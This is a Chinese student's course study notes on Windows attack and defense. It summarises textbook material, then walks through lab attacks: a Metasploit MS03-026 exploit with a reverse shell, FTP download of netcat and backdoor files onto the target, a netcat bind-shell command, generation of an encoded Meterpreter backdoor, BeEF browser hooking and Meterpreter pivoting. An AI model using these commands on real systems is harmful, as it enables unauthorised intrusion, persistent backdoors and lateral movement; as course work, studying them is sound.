标签:限制 交互 bubuko 监控器 驱动 tcp word sam 网络传输
课本第七章主要围绕windows操作系统安全攻防技术进行讲述,教材中主要涉及的攻击内容如下:
Windows操作系统的基本结构
Windows操作系统内核的基本模块包括如下
Windows操作系统在用户态的代码模块则包括如下
Windows操作系统内核中实现了如下的核心机制
Windows安全体系结构
Windows授权与访问控制机制
Windows安全审计机制 系统审计策略在本地安全策略中由系统管理员定义,来确定系统对那些事件进行记录。
Windows的其他安全机制
目前Windows远程攻击技术可以分为以下几大类
Windows系统的安全漏洞生命周期
使用Metasploit软件实施渗透测试 Metasploit软件采用开发框架和模块组建的可扩展模型,以Ruby语言编写的Metasploit Framework(MSF)库作为整个软件的基础核心,为渗透测试组建的开发与测试提供平台;模块组建是真正实施渗透攻击的代码,包括利用安全漏洞的Exploits模块,进行扫描、查点等其他辅助任务的Auxiliary模块,在目标系统上植入和运行的Shellcode攻击负载Payloads模块,对攻击负载进行编码以躲避检测的Encoders模块,以及对攻击负载进行填充的Nops模块;Metasploit提供多种用户接口,包括Console交互终端、命令行程序运行、Web交互界面以及GUI图形化界面;Metasploit还提供了API接口及插件支持,来支持第三方在MSF基础上开发扩展模块,比如自动化的渗透测试例程等等。
使Metasploit Console终端实施渗透测试,只需运行如下命令
远程口令字猜测
远程口令字交换通信窃听与破解
Windows网络服务远程渗透攻击 Windows操作系统默认开放135(TCP)、137(UDP)、138(UDP)、139(TCP)与445(TCP)端口,对应的网络服务为MSRPC远程调用服务、NetBIOS网络基本输入/输出系统服务和SMB文件与打印共享服务。
-针对NetBIOS网络服务的著名漏洞及攻击 NetBIOS网络基本输入输出系统提供了Windows局域网联网的基本支持,包括在UDP137端口上监听的NetBIOS名字服务、UDP138端口上的NetBIOS数据报服务以及TCP139端口上的NetBIOS会话服务。
针对SMB网络服务的著名漏洞及攻击 服务消息块SMB是Windows操作系统中最为复杂,也最容易遭受远程渗透攻击的网络服务。SMB空会话是Windows网络中影响范围最广和时间最长的安全弱点之一。
针对MSRPC网络服务的著名漏洞及攻击 MSRPC网络服务是微软Windows操作系统对DCE-RPC标准远程过程调用机制的实现。远程过程调用机制是现代操作系统最基本的支撑机制之一,允许一个应用程序能够无缝地通过网络调用远程主机上网络进程中的过程,在MSRPC实现中,可以采用如下的网络传输协议:
针对Windows系统上微软网络服务的远程渗透攻击 IIS Internet服务集成了HTTP、FTP、SMTP、POP、NNTP等网络服务,并支持CGI、ASP、ISAPI等动态编程语言与接口,是微软服务器软件提供网站、电子邮件收发和文件共享服务的主要解决方案。MS SQL Server监听TCP1433与UDP1434端口,支持使用Windows用户账号进行身份认证模式。MS SQL Server自建用户身份认证模式,SQL Server数据库服务的登陆账号加密存储与master数据库的syslogins表中,并对用户进行角色管理和授权访问控制,同时提供访问日志功能,整体安全水平能够达到C2级别。
网络服务远程渗透攻击防范措施 针对Windows系统上的各种网络服务远程渗透攻击,最基本的防范措施就是尽量避免与消除这些渗透攻击所依赖的服务软件安全漏洞,具体包括如下:
Windows本地特权提升 从受限用户权限尝试获得特权账户的攻击技术也被称为特权提升,业内简称为“提权”。Windows系统上进行特权提升的共计途径主要是通过DLL注入和破解本地程序安全漏洞。从技术上来说,获得了Administrator权限并不意味着获得了Windows系统的最高权限,Local System账户比Administrator账户的权限更高,比如Administrator不能在系统运行时刻读取SAM位置注册表键值,而Local System却可以。有了Administrator权限,获得Local System权限就很简单了,一种方法是利用Windows的计划任务服务,执行“atXX:XX/INTERACTIVE cmd.exe”打开一个命令Shell,该Shell的权限即为Local System;另一种方法是利用sysinternals的免费工具psexec,它甚至允许以远程方式获得和使用Local System权限。针对本地提权攻击,与网络服务的远程渗透攻击类似,最根本的防范措施就是及时给你的系统打好各种补丁。
Windows系统口令字密文提取技术 在本地获取口令字密文的主要包括如下三种途径:
LSA Aercrets通常位于HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets子键下,LSA Secrets收录如下信息
用户敏感数据窃取 对于用户在系统中的文件,攻击者可以执行find、findstr、grep等命令行工具来实施查找,此外,攻击者也可能使用键击记录器来对用户键盘输入进行监听,并期望从中搜索用户登陆某些应用软件、网游、金融网站的口令密码。
本地敏感信息窃取防范措施 针对LSA Secrets和其他位置口令字的窃取与破解,目前这种攻击普遍需要攻击者已经具有Administrator的权限,在这种情况下,系统很难防止攻击者获取到这些信息,因此只能通过使用更安全的加密算法保护明文口令字,以及通过安全配置策略避免缓存关键服务器的铭感登陆口令信息,来尽量降低这种攻击造成的安全风险。
Windows消踪灭迹
Windows远程控制与后门程序 攻击者往往会在受控的系统中自主植入第三方的远程控制与后门程序,主要分为命令行远程控制工具、图形化远程控制工具这两大类。Netcat工具是攻击者们最常用的命令行远程控制工具么可以通过“nc-L-d-e cmd.exe-p 80”命令启动后门服务,监听所配置的TCP 80端口,并绑定cmd.exe这个Shell程序,当攻击者使用Netcat作为客户端连接目标主机的80端口时,就可以通过网络直接访问到目标主机上的cmd.exe来执行任意的操作。Meterpreter的设计目标包括如下:
针对后门程序的防范措施 针对远程控制后门程序,在一台计算机已经怀疑遭受攻击的Windows系统上,防御者可以采用一些后门检测软件来尝试发现攻击者隐藏的后门程序,常用的检测软件包括反病毒厂商所提供的杀毒软件,以及一些专业的后门及Rootkit检测软件。
注意在 Port Scanners 选项里勾上 TCP Scan 选项。其它的选项按照默认的即可。接下来填入靶机 IP,就可以按照扫描策略对靶机进行扫描了。最后一项就是 MS03-026 漏洞。
获得远程访问权在攻击机上运行Metasploit,可 以 查 找 到 攻 击 漏 洞MS03-026的exploit(windows/dcerpc/ms03_026_dcom)以及一个可用的 payload(generic/shell_reverse_tcp)。其中,该payload的作用是让靶机返回一个命令行。 在攻击机上键入以下命令,对靶机进行攻击。
use windows/dcerpc/ms03_026_dcom
set PAYLOAD generic/shell_reverse_tcp
set RHOST 172.31.4.175
set LHOST 172.31.4.173
exploit
通过 use 和 set PAYLOAD,设置使用的 exploit 以及 payload。 set RHOST 和 set LHOST 分别为设置靶机 IP 以及攻击机 IP。最后通过 exploit 命令进行攻击。
攻击成功后我们获得了靶机的一个命令行。
获得了靶机的命令行后,先在 C 盘创建一个文件夹 hidennc,这是存放后门创建所需文件的文件夹。
mkdir hidennc
cd hidennc
之后通过 echo 和管道,创建 ftp 命令列表,接着使用 ftp 命令执行该命令列表 command.txt,进而达到从特定的 ftp 服务器下载所需文件到靶机的目的。
echo user>command.txt 创建 command.txt,并写入信息
echo visitor mima1234>>command.txt FTP 服务器用户名 visitor 密码 mima1234
echo get nc.exe nc.exe>>command.txt
echo get AddReg.bat AddReg.bat>>command.txt
echo get root.exe root.exe>>command.txt
echo quit>>command.txt
ftp -n -s:command.txt 172.31.4.200 执行命令列表 command.txt,下载文件
exploit执行完上述命令后,可以在 C 盘 hidennc 文件夹下面看到命令列表 command.txt,以及从 FTP 服务器下载的三个文件。
Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个meterpretershell的链接。 Meterpreter作为后渗透模块有多种类型,并且命令由核心命令和扩展库组成,极大地丰富了攻击方式。其有很多有用的功能。 常用命令:
一、生成Meterpreter后门 命令:msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.75.132 LPORT=2333 R | msfencode -t exe -c 5 > /root/door1.exe
在指定目录,生成exe文件
生成一个后门就要打开一个监听,接收返回的连接,查看需要的参数。需要两个参数LHOST,LPORT。 将生成的文件模仿入侵的过程移动到靶机里。 set LPORT 2333 set LHOST 192.168.75.132 exploit background返回到msf里
对XSS漏洞需要强大框架的支持,如网上的XSS平台。在Kali下,BeeF是一个不逊色于XSS平台的工具。Beef是浏览器攻击框架的简称,是一款专注于浏览器端的渗透测试工具。官 1、命令行下启动Beef beef-xss 此时浏览器自动访问此页面:http://127.0.0.1:3000/ui/authentication 使用默认用户名beef与默认密码beef登录: 初始用户名和密码为:beef和beef 左侧为目标的浏览器 2、假设被测试主机由于XSS漏洞请求到 http://192.168.200.152:3000/demos/basic.html 左侧online browsers出现新的选项,其Current Browser中包括浏览器名称、版本、操作系统版本等。 3、HOOK持续的时间为关闭测试页面为止,在此期间,相当于被控制了,可以发送攻击命令,在Commands模块,我们可以完成很多任务: 其中,四种颜色分别表示: 该攻击模块可用,但隐蔽性强 该攻击模块可用,但隐蔽性差 该用户模块是否可用还有待验证 该攻击模块不可用 选取MISC下Raw JavaScript模块作为测试用例 执行,查看返回结果,成功则显示
4、代理Proxy功能 选中目标主机,点右键,在菜单中选中Use as Proxy;然后在Rider选项卡中的Forge Request编辑并发送想要发送的内容。
在跳板机获取一定权限后,需要积极地向内网主机权限发展,获取指定的目标信息,探查系统的漏洞,借助Msf已经得到的Meterpreter后门,可以使后续操作更容易。
1、查看当前网卡、网段信息 先控制一台跳板机,查看相关网卡网段信息 2、添加路由表 run autoroute -s 10.0.0.1 3、开Socks代理 通过使用 auxiliaryver/socks4a模块,创建一个Socks代理,可以作为浏览器,Sqlmp,Namp等使用。 4、通过Background和sessions -i可以自由切换进入Session 5、输入run可以看到Meterpreter上可以做的很多命令 6、获取内网信息run arp_scanner -r 10.0.0.1/24 7、也可上传文件,做端口转发后续测试 8、应用程序/权限维持/Tunnel工具集 9、端口转发 upload lcx.exe c:\
2017-2018-2 20179317 《网络攻防技术》第七周学习心得体会
标签:限制 交互 bubuko 监控器 驱动 tcp word sam 网络传输
原文地址:https://www.cnblogs.com/sunshineisdelicious/p/8907378.html